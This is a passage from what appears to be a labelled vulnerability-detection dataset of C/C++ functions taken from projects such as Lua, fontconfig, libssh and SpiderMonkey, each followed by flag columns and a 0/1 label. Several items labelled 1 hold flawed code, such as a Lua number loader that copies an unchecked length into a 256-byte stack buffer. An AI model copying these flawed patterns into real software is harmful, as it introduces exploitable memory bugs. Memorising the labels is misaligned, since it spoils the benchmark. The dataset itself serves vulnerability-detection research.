*bytes++ = (unsigned char) (((ch >> 12) & 0x3F) | 0x80);
*bytes++ = (unsigned char) (((ch >> 6) & 0x3F) | 0x80);
*bytes = (unsigned char) ((ch & 0x3F) | 0x80);
}
return 4;
}
else return 0;
} | false | false | false | false | false | 0 |
EscapeString(char *s, const char *qchars, char echar)
{
char *t;
char *ret;
int len;
for (len = 1, t = s; *t ; t++, len++)
{
if (strchr(qchars, *t) != NULL)
{
len++;
}
}
ret = (char *)safemalloc(len);
for (t = ret; *s; s++, t++)
{
if (strchr(qchars, *s) != NULL)
{
*t = echar;
t++;
}
*t = *s;
}
*t = 0;
return ret;
} | false | false | false | false | false | 0 |
sys_lseek64(struct tcb *tcp)
{
if (entering(tcp)) {
int argn;
tprintf("%ld, ", tcp->u_arg[0]);
if (tcp->u_arg[3] == SEEK_SET)
argn = printllval(tcp, "%llu, ", 1);
else
argn = printllval(tcp, "%lld, ", 1);
printxval(whence, tcp->u_arg[argn], "SEEK_???");
}
return RVAL_LUDECIMAL;
} | false | false | false | false | false | 0 |
_k_slotCurrentPageChanged(const QModelIndex ¤t, const QModelIndex &before)
{
KPageWidgetItem *currentItem = 0;
if ( current.isValid() )
currentItem = model()->item( current );
KPageWidgetItem *beforeItem = 0;
if ( before.isValid() )
beforeItem = model()->item( before );
Q_Q(KPageWidget);
emit q->currentPageChanged(currentItem, beforeItem);
} | false | false | false | false | false | 0 |
iarray_free(iarray* ia) {
size_t i;
for (i=0; i<ia->pagefence; ++i)
if (ia->pages[i]) free(ia->pages[i]);
free(ia->pages);
} | false | false | false | false | false | 0 |
server_child(int readyfd, struct in_addr addr, int port,
server_fn callback, void *userdata)
{
ne_socket *s = ne_sock_create();
int ret, listener;
in_child();
listener = do_listen(addr, port);
if (listener < 0)
return FAIL;
#ifdef USE_PIPE
/* Tell the parent we're ready for the request. */
if (write(readyfd, "a", 1) != 1) abort();
#endif
ONN("accept failed", ne_sock_accept(s, listener));
ret = callback(s, userdata);
close_socket(s);
return ret;
} | false | false | false | false | false | 0 |
help_open(struct view *view)
{
enum keymap keymap;
reset_view(view);
add_line_text(view, "Quick reference for tig keybindings:", LINE_DEFAULT);
add_line_text(view, "", LINE_DEFAULT);
for (keymap = 0; keymap < ARRAY_SIZE(keymap_table); keymap++)
help_open_keymap(view, keymap);
return TRUE;
} | false | false | false | false | false | 0 |
setVel( const Vector2D &newVel ) {
Vector2D temp = vel;
vel = newVel;
if ( vel.getLength() >= getActVelMax() ) {
vel.setLength(getActVelMax());
}
return temp;
} | false | false | false | false | false | 0 |
SetSignalMask (ml_val_t sigList)
{
SigMask_t mask;
int i;
SIG_ClearMask(mask);
if (sigList != OPTION_NONE) {
sigList = OPTION_get(sigList);
if (LIST_isNull(sigList)) {
/* SOME[] -- mask all signals */
for (i = 0; i < NUM_SYSTEM_SIGS; i++) {
SIG_AddToMask(mask, SigInfo[i].id);
}
}
else {
while (sigList != LIST_nil) {
ml_val_t car = LIST_hd(sigList);
int sig = REC_SELINT(car, 0);
SIG_AddToMask(mask, sig);
sigList = LIST_tl(sigList);
}
}
}
SIG_SetMask(mask);
} | false | false | false | false | false | 0 |
plog_response(int level, struct sockaddr *to, char sockchar, dns_msg_question_t *q, dns_header_t *h)
{
int rcode;
char buf[256];
if (LogFlags & DNS_LOG_FLAG_QUERY) {
dns_util_sa2str(buf, sizeof(buf), to);
rcode = DNS_RCODE(ntohs(h->hdr_flags));
plog(level, "response to %s %c: %s %s %s %s",
buf, sockchar,
dns_proto_rcode_string(rcode),
q->mq_name,
dns_proto_class_string(q->mq_class),
dns_proto_type_string(q->mq_type));
}
} | false | false | false | false | false | 0 |
esl_msa_CompareMandatory(ESL_MSA *a1, ESL_MSA *a2)
{
int i;
if (a1->nseq != a2->nseq) return eslFAIL;
if (a1->alen != a2->alen) return eslFAIL;
if (a1->flags != a2->flags) return eslFAIL;
for (i = 0; i < a1->nseq; i++)
{
if (strcmp(a1->sqname[i], a2->sqname[i]) != 0) return eslFAIL;
if (esl_DCompare(a1->wgt[i], a2->wgt[i], 0.001) != eslOK) return eslFAIL;
#ifdef eslAUGMENT_ALPHABET
if ((a1->flags & eslMSA_DIGITAL) &&
memcmp(a1->ax[i], a2->ax[i], sizeof(ESL_DSQ) * (a1->alen+2)) != 0)
return eslFAIL;
#endif
if (! (a1->flags & eslMSA_DIGITAL) && strcmp(a1->aseq[i], a2->aseq[i]) != 0) return eslFAIL;
}
return eslOK;
} | false | false | false | false | false | 0 |
FcNameParseCharSet (FcChar8 *string)
{
FcCharSet *c;
FcChar32 ucs4;
FcCharLeaf *leaf;
FcCharLeaf temp;
FcChar32 bits;
int i;
c = FcCharSetCreate ();
if (!c)
goto bail0;
while (*string)
{
string = FcCharSetParseValue (string, &ucs4);
if (!string)
goto bail1;
bits = 0;
for (i = 0; i < 256/32; i++)
{
string = FcCharSetParseValue (string, &temp.map[i]);
if (!string)
goto bail1;
bits |= temp.map[i];
}
if (bits)
{
leaf = malloc (sizeof (FcCharLeaf));
if (!leaf)
goto bail1;
*leaf = temp;
if (!FcCharSetInsertLeaf (c, ucs4, leaf))
goto bail1;
}
}
return c;
bail1:
if (c->num)
{
free (FcCharSetLeaves (c));
}
if (c->num)
{
free (FcCharSetNumbers (c));
}
free (c);
bail0:
return NULL;
} | false | false | false | false | false | 0 |
gnats_strftime (char *s, size_t size, const char *template,
const struct tm *brokentime)
{
static short have_strftime_with_z = -1;
if (have_strftime_with_z < 0)
{
char buf[16];
strftime (buf, 16, "%z", brokentime);
/* jonm@alchemetrics.co.uk - added check for +/- at the start
** of the string to support SCO OpenServer. The undocumented
** %z does not have a '+' on for positive offsets, so the
** return from get_curr_date() cannot be parsed by get_date().
*/
have_strftime_with_z = ((int)buf[0] == '+' || (int)buf[0] == '-') &&
isdigit ((int)(buf[1]));
}
if (have_strftime_with_z)
return strftime (s, size, template, brokentime);
else
{
int padding = 0;
const char *in = template;
char *fixed_template = 0;
char *out = 0;
/* Because brokentime points to static data (allocated
* by localtime()), it cannot be passed to a subroutine
* and then later be relied on to point to the same data. */
struct tm btime = *brokentime;
int result;
/* Count number of %z so we know how much characters to add to the
* template. We actually count the number of additional characters.
* As we are going to replace each "%z" by "+hhmm" (sign, hours,
* minutes), this is 3 extra chars for each %z. */
while (*in)
{
if (*in == '%' && *(in+1) == 'z')
{
in += 2;
padding += 3; /* 3 extra chars for each %z */
}
else
{
in++;
}
}
/* Now allocate enough space. */
fixed_template = (char*)xmalloc (strlen(template)+padding+1);
in = template; /* Inspect it again, this time replacing all %z. */
out = fixed_template;
while (*in != '\0')
{
char c = *in++;
if (c != '%')
{
*out++ = c;
}
else if (*in != 'z')
{
*out++ = c; /* the '%' */
*out++ = *in++;
}
else
{
int offset = minutes_gmt_offset (brokentime);
char offset_buf[6];
char sign = '+';
unsigned int i, hours, minutes;
if (offset < 0)
{
sign = '-';
offset = -offset;
}
hours = offset / 60;
minutes = offset % 60;
sprintf (offset_buf, "%c%02d%02d", sign, hours, minutes);
for (i = 0; i < strlen (offset_buf); i++)
*out++ = offset_buf[i];
in++; /* skip over 'z' */
}
}
*out = '\0';
result = strftime (s, size, fixed_template, &btime);
free (fixed_template);
return result;
}
} | true | true | false | false | false | 1 |
draw_sprites( struct mame_bitmap *bitmap, const struct rectangle *cliprect )
{
const struct GfxElement *pGfx = Machine->gfx[2];
const data16_t *pSource = spriteram16;
int i;
int transparent_pen;
if( pGfx->total_elements > 0x200 )
{ /* HORE HORE Kid */
transparent_pen = 0xf;
}
else
{
transparent_pen = 0x0;
}
for( i=0; i<0x200; i+=8 )
{
int tile = pSource[1]&0xff;
int attrs = pSource[2];
int flipx = attrs&0x04;
int flipy = attrs&0x08;
int color = (attrs&0xf0)>>4;
int sx = (pSource[3] & 0xff) - 0x80 + 256 * (attrs & 1);
int sy = 240 - (pSource[0] & 0xff);
if( transparent_pen )
{
int bank;
if( attrs&0x02 ) tile |= 0x200;
if( attrs&0x10 ) tile |= 0x100;
bank = (tile&0xfc)>>1;
if( tile&0x200 ) bank |= 0x80;
if( tile&0x100 ) bank |= 0x01;
color &= 0xe;
color += 16*(spritepalettebank[bank]&0xf);
}
else
{
if( attrs&0x02 ) tile|= 0x100;
color += 16 * (spritepalettebank[(tile>>1)&0xff] & 0x0f);
}
if (flip_screen)
{
sx=240-sx;
sy=240-sy;
flipx = !flipx;
flipy = !flipy;
}
drawgfx(
bitmap,pGfx,tile, color,flipx,flipy,sx,sy,cliprect,TRANSPARENCY_PEN,transparent_pen );
pSource += 4;
}
} | false | false | false | false | false | 0 |
LL_insert( LinkedList list, int item, void *pObj )
{
Link *pLink;
if( list == NULL || pObj == NULL )
return;
AssertValidPtr( list );
CHANGE_STATE(list);
/*
* We have to do some faking here because adding to the end
* of the list is a more natural result for item == -1 than
* adding to the position _before_ the last element would be
*/
if( item < 0 )
pLink = item == -1 ? &list->link : GetLink( list, item+1 );
else
pLink = item == list->size ? &list->link : GetLink( list, item );
if( pLink == NULL )
return;
(void) Insert( list, pLink, pObj );
} | false | false | false | false | false | 0 |
hackrf_urb_complete_in(struct urb *urb)
{
struct hackrf_dev *dev = urb->context;
struct usb_interface *intf = dev->intf;
struct hackrf_buffer *buffer;
unsigned int len;
dev_dbg_ratelimited(&intf->dev, "status=%d length=%u/%u\n", urb->status,
urb->actual_length, urb->transfer_buffer_length);
switch (urb->status) {
case 0: /* success */
case -ETIMEDOUT: /* NAK */
break;
case -ECONNRESET: /* kill */
case -ENOENT:
case -ESHUTDOWN:
return;
default: /* error */
dev_err_ratelimited(&intf->dev, "URB failed %d\n", urb->status);
goto exit_usb_submit_urb;
}
/* get buffer to write */
buffer = hackrf_get_next_buffer(dev, &dev->rx_buffer_list);
if (unlikely(buffer == NULL)) {
dev->vb_full++;
dev_notice_ratelimited(&intf->dev,
"buffer is full - %u packets dropped\n",
dev->vb_full);
goto exit_usb_submit_urb;
}
len = min_t(unsigned long, vb2_plane_size(&buffer->vb.vb2_buf, 0),
urb->actual_length);
hackrf_copy_stream(dev, vb2_plane_vaddr(&buffer->vb.vb2_buf, 0),
urb->transfer_buffer, len);
vb2_set_plane_payload(&buffer->vb.vb2_buf, 0, len);
buffer->vb.sequence = dev->sequence++;
v4l2_get_timestamp(&buffer->vb.timestamp);
vb2_buffer_done(&buffer->vb.vb2_buf, VB2_BUF_STATE_DONE);
exit_usb_submit_urb:
usb_submit_urb(urb, GFP_ATOMIC);
} | false | false | false | false | false | 0 |
callback_receive_banner(const void *data, size_t len, void *user) {
char *buffer = (char *)data;
ssh_session session=(ssh_session) user;
char *str = NULL;
size_t i;
int ret=0;
if(session->session_state != SSH_SESSION_STATE_SOCKET_CONNECTED){
ssh_set_error(session,SSH_FATAL,"Wrong state in callback_receive_banner : %d",session->session_state);
return SSH_ERROR;
}
for(i=0;i<len;++i){
#ifdef WITH_PCAP
if(session->pcap_ctx && buffer[i] == '\n'){
ssh_pcap_context_write(session->pcap_ctx,SSH_PCAP_DIR_IN,buffer,i+1,i+1);
}
#endif
if(buffer[i]=='\r') {
buffer[i]='\0';
}
if (buffer[i]=='\n') {
buffer[i] = '\0';
str = strdup(buffer);
if (str == NULL) {
return SSH_ERROR;
}
/* number of bytes read */
ret = i + 1;
session->serverbanner = str;
session->session_state=SSH_SESSION_STATE_BANNER_RECEIVED;
SSH_LOG(SSH_LOG_PACKET,"Received banner: %s",str);
session->ssh_connection_callback(session);
return ret;
}
if(i>127){
/* Too big banner */
session->session_state=SSH_SESSION_STATE_ERROR;
ssh_set_error(session,SSH_FATAL,"Receiving banner: too large banner");
return 0;
}
}
return ret;
} | false | false | false | false | false | 0 |
debug_turn_update (sc_gameref_t game)
{
const sc_debuggerref_t debug = debug_get_debugger (game);
/* If debugging disallowed (not initialized), ignore the call. */
if (debug)
{
/*
* Again using carnal knowledge of the run main loop, if we're in
* mid-wait, ignore the call. Also, ignore the call if the game is
* no longer running, as we'll see a debug_game_ended() call come
* along to handle that.
*/
if (game->waitcounter > 0 || !game->is_running)
return;
/*
* Run debugger dialog if any watchpoints triggered, or if single
* stepping (even if none triggered).
*/
if (debug_check_watchpoints (game) || debug->single_step)
debug_dialog (game);
}
} | false | false | false | false | false | 0 |
cfapi_object_remove_depletion(int *type, ...) {
va_list args;
object *op;
int level, *result;
va_start(args, type);
op = va_arg(args, object *);
level = va_arg(args, int);
result = va_arg(args, int*);
va_end(args);
*result = remove_depletion(op, level);
*type = CFAPI_INT;
} | false | false | false | false | false | 0 |
ADDR_SIZE_AFFECT(_DecodeType dt, _iflags totalPrefixes)
{
/* Switch to non default mode if prefix exists, only for ADDRESS SIZE. */
if (totalPrefixes & INST_PRE_ADDR_SIZE) {
switch (dt)
{
case Decode16Bits:
dt = Decode32Bits;
break;
case Decode32Bits:
dt = Decode16Bits;
break;
case Decode64Bits:
dt = Decode32Bits;
break;
}
}
return dt;
} | false | false | false | false | false | 0 |
setPrevNode(BasicBlock *BB) {
PrevNode = ParentRegion->contains(BB) ? ParentRegion->getBBNode(BB)
: nullptr;
} | false | false | false | false | false | 0 |
abraca_tool_bar_on_time_slider_motion_notify (AbracaToolBar* self, GtkWidget* widget, GdkEventMotion* ev) {
gboolean result = FALSE;
GtkWidget* _tmp0_;
gdouble _tmp1_ = 0.0;
gdouble percent;
gint _tmp2_;
g_return_val_if_fail (self != NULL, FALSE);
g_return_val_if_fail (widget != NULL, FALSE);
g_return_val_if_fail (ev != NULL, FALSE);
_tmp0_ = widget;
_tmp1_ = gtk_range_get_value (GTK_IS_RANGE (_tmp0_) ? ((GtkRange*) _tmp0_) : NULL);
percent = _tmp1_;
_tmp2_ = self->priv->_duration;
self->priv->_pos = (guint) (_tmp2_ * percent);
abraca_tool_bar_update_time_label (self);
result = FALSE;
return result;
} | false | false | false | false | false | 0 |
set_mime_binary(FILE *out, ObjectType type, const string &ver,
EncodingType enc, const time_t last_modified)
{
ostringstream oss;
set_mime_binary(oss, type, ver, enc, last_modified);
fwrite(oss.str().data(), 1, oss.str().length(), out);
} | false | false | false | false | false | 0 |
rsvg_start_extra (RsvgHandle * ctx,
const char *name,
GString **stringptr)
{
RsvgSaxHandlerExtra *handler = g_new0 (RsvgSaxHandlerExtra, 1);
RsvgNode *treebase = ctx->priv->treebase;
RsvgNode *currentnode = ctx->priv->currentnode;
gboolean do_care;
/* only parse <extra> for the <svg> node.
* This isn't quite the correct behavior - any graphics
* element may contain a <extra> element.
*/
do_care = treebase != NULL && treebase == currentnode;
handler->super.free = rsvg_extra_handler_free;
handler->super.characters = rsvg_extra_handler_characters;
handler->super.start_element = rsvg_extra_handler_start;
handler->super.end_element = rsvg_extra_handler_end;
handler->ctx = ctx;
handler->name = name; /* interned */
handler->string = do_care ? g_string_new (NULL) : NULL;
handler->stringptr = do_care ? stringptr : NULL;
ctx->priv->handler = &handler->super;
return handler;
} | false | false | false | false | false | 0 |
print_band(__isl_take isl_printer *p,
__isl_keep isl_band *band)
{
isl_band_list *children;
p = isl_printer_start_line(p);
p = isl_printer_print_union_pw_multi_aff(p, band->pma);
p = isl_printer_end_line(p);
if (!isl_band_has_children(band))
return p;
children = isl_band_get_children(band);
p = isl_printer_indent(p, 4);
p = print_band_list(p, children);
p = isl_printer_indent(p, -4);
isl_band_list_free(children);
return p;
} | false | false | false | false | false | 0 |
onFeedClosed(PlexyDesk::AbstractDesktopWidget *)
{
qDebug() << Q_FUNC_INFO ;
d->mFeedWall = 0;
} | false | false | false | false | false | 0 |
validationsContainsValidatedUuid(const QString &uuid)
{
for(int i=0; i< _validations.count(); ++i) {
const AlertValidation &val = _validations.at(i);
if (val.validatedUid().compare(uuid, Qt::CaseInsensitive)==0)
return true;
}
return false;
} | false | false | false | false | false | 0 |
SetFileName( const char* fname )
{
vtkSetStringMacroBody(FileName,fname);
if ( modified )
{
this->Metadata->Reset();
this->FileNameMTime.Modified();
}
} | false | false | false | false | false | 0 |
JS_SealObject(JSContext *cx, JSObject *obj, JSBool deep)
{
JSScope *scope;
JSIdArray *ida;
uint32 nslots, i;
jsval v;
if (OBJ_IS_DENSE_ARRAY(cx, obj) && !js_MakeArraySlow(cx, obj))
return JS_FALSE;
if (!OBJ_IS_NATIVE(obj)) {
JS_ReportErrorNumber(cx, js_GetErrorMessage, NULL,
JSMSG_CANT_SEAL_OBJECT,
OBJ_GET_CLASS(cx, obj)->name);
return JS_FALSE;
}
scope = OBJ_SCOPE(obj);
#if defined JS_THREADSAFE && defined DEBUG
/* Insist on scope being used exclusively by cx's thread. */
if (scope->title.ownercx != cx) {
JS_LOCK_OBJ(cx, obj);
JS_ASSERT(OBJ_SCOPE(obj) == scope);
JS_ASSERT(scope->title.ownercx == cx);
JS_UNLOCK_SCOPE(cx, scope);
}
#endif
/* Nothing to do if obj's scope is already sealed. */
if (scope->sealed())
return JS_TRUE;
/* XXX Enumerate lazy properties now, as they can't be added later. */
ida = JS_Enumerate(cx, obj);
if (!ida)
return JS_FALSE;
JS_DestroyIdArray(cx, ida);
/* Ensure that obj has its own, mutable scope, and seal that scope. */
JS_LOCK_OBJ(cx, obj);
scope = js_GetMutableScope(cx, obj);
if (scope) {
scope->sealingShapeChange(cx);
scope->setSealed();
}
JS_UNLOCK_OBJ(cx, obj);
if (!scope)
return JS_FALSE;
/* If we are not sealing an entire object graph, we're done. */
if (!deep)
return JS_TRUE;
/* Walk slots in obj and if any value is a non-null object, seal it. */
nslots = scope->freeslot;
for (i = 0; i != nslots; ++i) {
v = STOBJ_GET_SLOT(obj, i);
if (JSVAL_IS_PRIMITIVE(v))
continue;
if (!JS_SealObject(cx, JSVAL_TO_OBJECT(v), deep))
return JS_FALSE;
}
return JS_TRUE;
} | false | false | false | false | false | 0 |
bcol_basesmuma_memsync_progress(bcol_function_args_t *input_args,
coll_ml_function_t *c_input_args)
{
int memory_bank = input_args->root;
mca_bcol_basesmuma_module_t* bcol_module =
(mca_bcol_basesmuma_module_t *)c_input_args->bcol_module;
sm_buffer_mgmt *buff_block = &(bcol_module->colls_with_user_data);
sm_nbbar_desc_t *sm_desc = &(buff_block->ctl_buffs_mgmt[memory_bank].nb_barrier_desc);
/* I do not have to do anything, since the
progress done by basesmuma progress engine */
if (NB_BARRIER_DONE != sm_desc->collective_phase) {
return BCOL_FN_STARTED;
}
return BCOL_FN_COMPLETE;
} | false | false | false | false | false | 0 |
xbothcasep(void)
{
int ch;
ch = getchcode(xlgachar());
xllastarg();
return (isupper(ch) || islower(ch) ? s_true : NIL);
} | false | false | false | false | false | 0 |
LoadNumber (ZIO* Z, int native)
{
real x;
if (native)
{
LoadBlock(&x,sizeof(x),Z);
return x;
}
else
{
char b[256];
int size=ezgetc(Z);
LoadBlock(b,size,Z);
b[size]=0;
return luaU_str2d(b,zname(Z));
}
} | true | true | false | false | true | 1 |
newvector(int len) {
VECTOR v = newvector_noinit(len);
int i;
for (i = 0; i < len; i++)
ATPUT(v, i, NULL);
return v;
} | false | false | false | false | false | 0 |
syscon_poweroff_probe(struct platform_device *pdev)
{
char symname[KSYM_NAME_LEN];
map = syscon_regmap_lookup_by_phandle(pdev->dev.of_node, "regmap");
if (IS_ERR(map)) {
dev_err(&pdev->dev, "unable to get syscon");
return PTR_ERR(map);
}
if (of_property_read_u32(pdev->dev.of_node, "offset", &offset)) {
dev_err(&pdev->dev, "unable to read 'offset'");
return -EINVAL;
}
if (of_property_read_u32(pdev->dev.of_node, "mask", &mask)) {
dev_err(&pdev->dev, "unable to read 'mask'");
return -EINVAL;
}
if (pm_power_off) {
lookup_symbol_name((ulong)pm_power_off, symname);
dev_err(&pdev->dev,
"pm_power_off already claimed %p %s",
pm_power_off, symname);
return -EBUSY;
}
pm_power_off = syscon_poweroff;
return 0;
} | false | false | false | false | false | 0 |
cproxy_http_error_ind(struct http_async *handle, http_errtype_t type, void *v)
{
struct cproxy *cp = http_async_get_opaque(handle);
cproxy_check(cp);
http_async_log_error(handle, type, v, "HTTP push-proxy request");
cp->http_handle = NULL;
cp->done = TRUE;
if (
type == HTTP_ASYNC_ERROR &&
(
GPOINTER_TO_INT(v) == HTTP_ASYNC_CANCELLED ||
GPOINTER_TO_INT(v) == HTTP_ASYNC_CLOSED
)
)
return;
download_proxy_failed(cp->d);
} | false | false | false | false | false | 0 |
__ecereMethod___ecereNameSpace__eda__ListSection_OnResize(struct __ecereNameSpace__ecere__com__Instance * this, int width, int height)
{
struct __ecereNameSpace__ecere__sys__Size __simpleStruct3;
struct __ecereNameSpace__ecere__sys__Point __simpleStruct2;
struct __ecereNameSpace__ecere__sys__Point __simpleStruct1;
struct __ecereNameSpace__ecere__sys__Size __simpleStruct0;
struct __ecereNameSpace__eda__ListSection * __ecerePointer___ecereNameSpace__eda__ListSection = (struct __ecereNameSpace__eda__ListSection *)(this ? (((char *)this) + __ecereClass___ecereNameSpace__eda__ListSection->offset) : 0);
int x = width - (int)(__ecereProp___ecereNameSpace__ecere__gui__Window_Get_size(__ecerePointer___ecereNameSpace__eda__ListSection->btnDelete, &__simpleStruct0), __simpleStruct0).w - 20;
__ecereProp___ecereNameSpace__ecere__gui__Window_Set_position(__ecerePointer___ecereNameSpace__eda__ListSection->btnDelete, (__ecereProp___ecereNameSpace__ecere__gui__Window_Get_position(__ecerePointer___ecereNameSpace__eda__ListSection->btnDelete, &__simpleStruct1), __simpleStruct1.x = x, &__simpleStruct1));
if(__ecereProp___ecereNameSpace__ecere__gui__Window_Get_visible(__ecerePointer___ecereNameSpace__eda__ListSection->btnNew))
__ecereProp___ecereNameSpace__ecere__gui__Window_Set_position(__ecerePointer___ecereNameSpace__eda__ListSection->btnNew, (__ecereProp___ecereNameSpace__ecere__gui__Window_Get_position(__ecerePointer___ecereNameSpace__eda__ListSection->btnNew, &__simpleStruct2), __simpleStruct2.x = x = x - (int)(__ecereProp___ecereNameSpace__ecere__gui__Window_Get_size(__ecerePointer___ecereNameSpace__eda__ListSection->btnNew, &__simpleStruct3), __simpleStruct3).w - (3) * 2, &__simpleStruct2));
} | false | false | false | true | false | 1 |
origin_decref(struct origin *o)
{
if (o && --o->refcnt <= 0) {
if (o->previous)
origin_decref(o->previous);
free(o->file.ptr);
free(o);
}
} | false | false | false | false | false | 0 |
add_modules(VALUE *req_list, const char *mod)
{
VALUE list = *req_list;
VALUE feature;
if (!list) {
*req_list = list = rb_ary_new();
RBASIC(list)->klass = 0;
}
feature = rb_str_new2(mod);
RBASIC(feature)->klass = 0;
rb_ary_push(list, feature);
} | false | false | false | false | false | 0 |
brief_preload_anims()
{
int num_icons, num_stages, i, j;
brief_icon *bi;
num_stages = Briefing->num_stages;
for ( i = 0; i < num_stages; i++ ) {
num_icons = Briefing->stages[i].num_icons;
for ( j = 0; j < num_icons; j++ ) {
bi = &Briefing->stages[i].icons[j];
brief_preload_icon_anim(bi);
brief_preload_fade_anim(bi);
if ( bi->flags & BI_HIGHLIGHT ) {
brief_preload_highlight_anim(bi);
}
}
}
} | false | false | false | false | false | 0 |
eb_subbook_directory(EB_Book *book, char *directory)
{
EB_Error_Code error_code;
char *p;
eb_lock(&book->lock);
LOG(("in: eb_subbook_directory(book=%d)", (int)book->code));
/*
* Current subbook must have been set.
*/
if (book->subbook_current == NULL) {
error_code = EB_ERR_NO_CUR_SUB;
goto failed;
}
/*
* Copy directory name.
* Upper letters are converted to lower letters.
*/
strcpy(directory, book->subbook_current->directory_name);
for (p = directory; *p != '\0'; p++) {
if ('A' <= *p && *p <= 'Z')
*p = ASCII_TOLOWER(*p);
}
LOG(("out: eb_subbook_directory(directory=%s) = %s", directory,
eb_error_string(EB_SUCCESS)));
eb_unlock(&book->lock);
return EB_SUCCESS;
/*
* An error occurs...
*/
failed:
*directory = '\0';
LOG(("out: eb_subbook_directory() = %s", eb_error_string(error_code)));
eb_unlock(&book->lock);
return error_code;
} | false | true | false | false | false | 1 |
parse_message_line(char *line)
{
char *rest;
switch(GetTokenIndex(line, message_options, -1, &rest))
{
case 0:
parse_colorset(rest);
break;
}
} | false | false | false | false | false | 0 |
linear_persim(struct uct_dynkomi *d, struct board *b, struct tree *tree, struct tree_node *node)
{
struct dynkomi_linear *l = d->data;
if (l->rootbased)
return tree->extra_komi;
/* We don't reuse computed value from tree->extra_komi,
* since we want to use value correct for this node depth.
* This also means the values will stay correct after
* node promotion. */
return linear_permove(d, b, tree);
} | false | false | false | false | false | 0 |
eq_status_in(__isl_keep isl_basic_map *bmap_i,
struct isl_tab *tab_j)
{
int k, l;
int *eq = isl_calloc_array(bmap_i->ctx, int, 2 * bmap_i->n_eq);
unsigned dim;
if (!eq)
return NULL;
dim = isl_basic_map_total_dim(bmap_i);
for (k = 0; k < bmap_i->n_eq; ++k) {
for (l = 0; l < 2; ++l) {
isl_seq_neg(bmap_i->eq[k], bmap_i->eq[k], 1+dim);
eq[2 * k + l] = status_in(bmap_i->eq[k], tab_j);
if (eq[2 * k + l] == STATUS_ERROR)
goto error;
}
if (eq[2 * k] == STATUS_SEPARATE ||
eq[2 * k + 1] == STATUS_SEPARATE)
break;
}
return eq;
error:
free(eq);
return NULL;
} | false | false | false | false | false | 0 |
isScanBypassURL(String * url, const char *magic, const char *clientip)
{
if ((*url).length() <= 45)
return false; // Too short, can't be a bypass
if (!(*url).contains("GSBYPASS=")) { // If this is not a bypass url
return false;
}
#ifdef DGDEBUG
std::cout << "URL GSBYPASS found checking..." << std::endl;
#endif
String url_left((*url).before("GSBYPASS="));
url_left.chop(); // remove the ? or &
String url_right((*url).after("GSBYPASS="));
String url_hash(url_right.subString(0, 32));
#ifdef DGDEBUG
std::cout << "URL: " << url_left << ", HASH: " << url_hash << std::endl;
#endif
// format is:
// GSBYPASS=hash(ip+url+tempfilename+mime+disposition+secret)
// &N=tempfilename&M=mimetype&D=dispos
String tempfilename(url_right.after("&N="));
String tempfilemime(tempfilename.after("&M="));
String tempfiledis(tempfilemime.after("&D="));
tempfilemime = tempfilemime.before("&D=");
tempfilename = tempfilename.before("&M=");
String tohash(clientip + url_left + tempfilename + tempfilemime + tempfiledis + magic);
String hashed(tohash.md5());
#ifdef DGDEBUG
std::cout << "checking hash: " << clientip << " " << url_left << " " << tempfilename << " " << " " << tempfilemime << " " << tempfiledis << " " << magic << " " << hashed << std::endl;
#endif
if (hashed == url_hash) {
return true;
}
#ifdef DGDEBUG
std::cout << "URL GSBYPASS HASH mismatch" << std::endl;
#endif
return false;
} | false | false | false | false | false | 0 |
GetAuthProfile(std::string name)
{
std::stringstream query;
query << "SELECT eperson, apikey, app_name, url FROM auth_profile WHERE "
"profile_name='" << name << "'";
midasAuthProfile profile;
this->Database->ExecuteQuery(query.str().c_str());
if(this->Database->GetNextRow())
{
profile.Name = name;
profile.User = this->Database->GetValueAsString(0);
profile.ApiKey = this->Database->GetValueAsString(1);
profile.AppName = this->Database->GetValueAsString(2);
profile.Url = this->Database->GetValueAsString(3);
while(this->Database->GetNextRow());
}
return profile;
} | false | false | false | false | false | 0 |
__chk_rhsexpr(struct expr_t *ndp, int32 csiz)
{
int32 saverr_cnt;
saverr_cnt = __pv_err_cnt;
/* intercept and convert any selects from paramters to num or is num */
/* this finds all in expr. - returns F if error */
if (!__isleaf(ndp))
{
try_cnvt_parmsel_toconst(ndp);
if (saverr_cnt != __pv_err_cnt) return(FALSE);
}
/* this can also be called before parameter values (fixed) */
/* substitution to real operator done here */
chk_struct_rhsexpr(ndp, csiz);
/* in case expr. contains declared non wire symbol cannot try to fold */
if (saverr_cnt != __pv_err_cnt) return(FALSE);
/* emit warning for word32 relations comparisons - needed before folding */
chk_mixedsign_relops(ndp);
/* LOOKATME - is here a problem folding analog expressions */
/* notice that width know everywhere - so if correct all folding right */
/* if error still to be caught, will make reasonable guess for width */
fold_subexpr(ndp);
/* after folding need checking that requires fold constants */
/* for selects and function call arguments */
chk_ndfolded_specops(ndp);
if (ndp->is_real) ndp->ibase = BDBLE;
if (saverr_cnt != __pv_err_cnt) return(FALSE);
return(TRUE);
} | false | false | false | false | false | 0 |
hexbuf(fz_context *ctx, unsigned char *p, int n)
{
static const char hex[16] = "0123456789abcdef";
fz_buffer *buf;
int x = 0;
buf = fz_new_buffer(ctx, n * 2 + (n / 32) + 2);
while (n--)
{
buf->data[buf->len++] = hex[*p >> 4];
buf->data[buf->len++] = hex[*p & 15];
if (++x == 32)
{
buf->data[buf->len++] = '\n';
x = 0;
}
p++;
}
buf->data[buf->len++] = '>';
buf->data[buf->len++] = '\n';
return buf;
} | false | false | false | false | false | 0 |
dumpTableConstraintComment(Archive *fout, DumpOptions *dopt, ConstraintInfo *coninfo)
{
TableInfo *tbinfo = coninfo->contable;
PQExpBuffer labelq = createPQExpBuffer();
appendPQExpBuffer(labelq, "CONSTRAINT %s ",
fmtId(coninfo->dobj.name));
appendPQExpBuffer(labelq, "ON %s",
fmtId(tbinfo->dobj.name));
dumpComment(fout, dopt, labelq->data,
tbinfo->dobj.namespace->dobj.name,
tbinfo->rolname,
coninfo->dobj.catId, 0,
coninfo->separate ? coninfo->dobj.dumpId : tbinfo->dobj.dumpId);
destroyPQExpBuffer(labelq);
} | false | false | false | false | false | 0 |
UpdateCell(unsigned rowId, unsigned columnIndex, int value)
{
RakAssert(columns[columnIndex].columnType==NUMERIC);
Row *row = GetRowByID(rowId);
if (row)
{
row->UpdateCell(columnIndex, value);
return true;
}
return false;
} | false | false | false | false | false | 0 |
ac3_eac3_probe(AVProbeData *p, enum CodecID expected_codec_id)
{
int max_frames, first_frames = 0, frames;
uint8_t *buf, *buf2, *end;
AC3HeaderInfo hdr;
GetBitContext gbc;
enum CodecID codec_id = CODEC_ID_AC3;
max_frames = 0;
buf = p->buf;
end = buf + p->buf_size;
for(; buf < end; buf++) {
buf2 = buf;
for(frames = 0; buf2 < end; frames++) {
init_get_bits(&gbc, buf2, 54);
